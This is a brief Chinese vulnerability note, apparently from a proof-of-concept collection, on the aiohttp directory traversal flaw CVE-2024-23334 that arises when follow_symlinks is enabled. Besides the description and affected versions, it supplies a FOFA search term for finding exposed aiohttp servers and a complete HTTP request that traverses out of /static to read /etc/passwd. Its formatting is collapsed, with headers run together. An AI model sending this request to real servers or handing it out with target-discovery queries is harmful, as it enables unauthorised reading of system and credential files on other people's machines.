## aiohttp存在目录遍历漏洞(CVE-2024-23334)aiohttp是一个Python的HTTP客户端/服务器框架它基于asyncio库实现异步编程模型可以支持高性能和高并发的HTTP通信。aiohttp用于编写异步的Web服务器、Web应用程序或HTTP客户端以提供对Web和HTTP资源的访问和操作。近日监测到aiohttp目录遍历漏洞的漏洞情报,aiohttp使用选项follow_symlinks来决定是否跟踪静态根目录之外的符号链接。当follow_symlinks 设置为 True 时,将不会验证读取的文件是否在根目录内从而导致目录遍历攻击者可以利用此漏洞访问系统上的任意文件。## 版本1.0.5 aiohttp 3.9.2## fofaappaiohttp## pocGET /static/../../../../../../etc/passwd HTTP/1.1Host: xxxxxUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q0.9Connection: close